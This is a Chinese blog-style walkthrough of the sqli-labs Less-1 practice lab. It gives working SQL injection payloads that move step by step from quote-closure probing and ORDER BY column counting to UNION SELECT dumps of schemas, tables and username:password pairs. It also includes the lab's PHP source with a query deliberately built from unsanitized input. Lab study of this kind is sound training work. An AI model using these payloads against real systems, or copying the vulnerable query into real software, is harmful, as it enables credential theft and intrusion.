sqli-labs靶场Less-1极其详细练习过程

Less-1

一、分析题目

提示为将ID作为带数值的参数输入。

Get请求有如下特性:它会将数据添加到URL中,通过这种方式传递到服务器,通常利用一个问号?代表URL地址的结尾与数据参数的开端,后面的参数每一个数据参数以“名称=值”的形式出现,参数与参数之间利用一个连接符&来区分。

这里先输入一个?id=1

1、判断SQL注入是整型还是字符型。

常用方法:

    这里我们输入 ?id=1 and1=1  和  ?id=1 and 1=2显示页面和原来一样,说明不是整型。

加反斜杠,出现报错,

注意反斜杠后面的即为闭合方式

分析:

"1\' LIMIT 0,1'  外层单引号去掉为 '1\'LINIT 0,1   1\为输入的内容,所以为单引号闭合

或者加 )' 看报错,一层一层剥析

同理分析:

"1)" LIMIT O, 1' 去掉最外层单引号  '1)''LIMIT 0,1      1)’为输入的内容,所以为单引号闭合    

注释方式:--+   --(空格)  # (这里用--+)

?id=1' and 1=1 --+

sql语句:select * from users where id=’1‘ and 1=1 --+’ limit 0,1

2、判断字段数

order by 10 对要查询表的第10个字段(第10列)进行排序(升序),用于判断字段数(报错即为没有那么多字段)。

报错,说明没有10个字段,最终测试发现总字段数为3。

3、union select判断回显点

id=1.3' union select 1,2,3--+

id=1.3或者随便等于一个不存在的,id=99999或者id=-1等,这样做的目的是为了不显示前面所查询的内容,显示后面的内容。

注意:union前面内容一定要让它报错,如果前面正确直接执行前面,占据页面,不显示后面内容

确定回显字段为2,3字段后,接下来利用回显点查询我们想查询的内容。

4、爆信息

爆库

?id=1.3' union select 1,database(),3--+
?id=-1' union select 1,2, group_concat(schema_name) from information_schema.schemata  --+

爆表

table_schema是数据库的名称

table_name是具体的表名,

table_type指的是表的类型

information_schema.tables表示information_schema中tables该表。

tables中有table_name字段。

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

查到 emails,referers,uagents,users ,显然users是用户数据表

爆字段

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

爆值

?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+

union select 1,2,group_concat(username,0x3a,password) from ctfshow_user--+

  0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username。

二、分析PHP

打开Less-1的php文件,对其分析。

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");    #sql-connect.php该php文件连接mysql数据库,
error_reporting(0);                               #关闭错误报告 
// take the variables 
if(isset($_GET['id']))         #isset()函数判断是否为NULL,如果不为null则为true,才执行if内容
{                              #_GET用于收集来自 method="get" 的表单中的值。从带有 GET 方法的表                                   单发送的信息,对任何人都是可见的(会显示在浏览器的地址栏)
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);             #执行一条mysql查询
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());          mysql_error()返回上一个Mysql操作产生的文本错误信息
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

  • 4
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值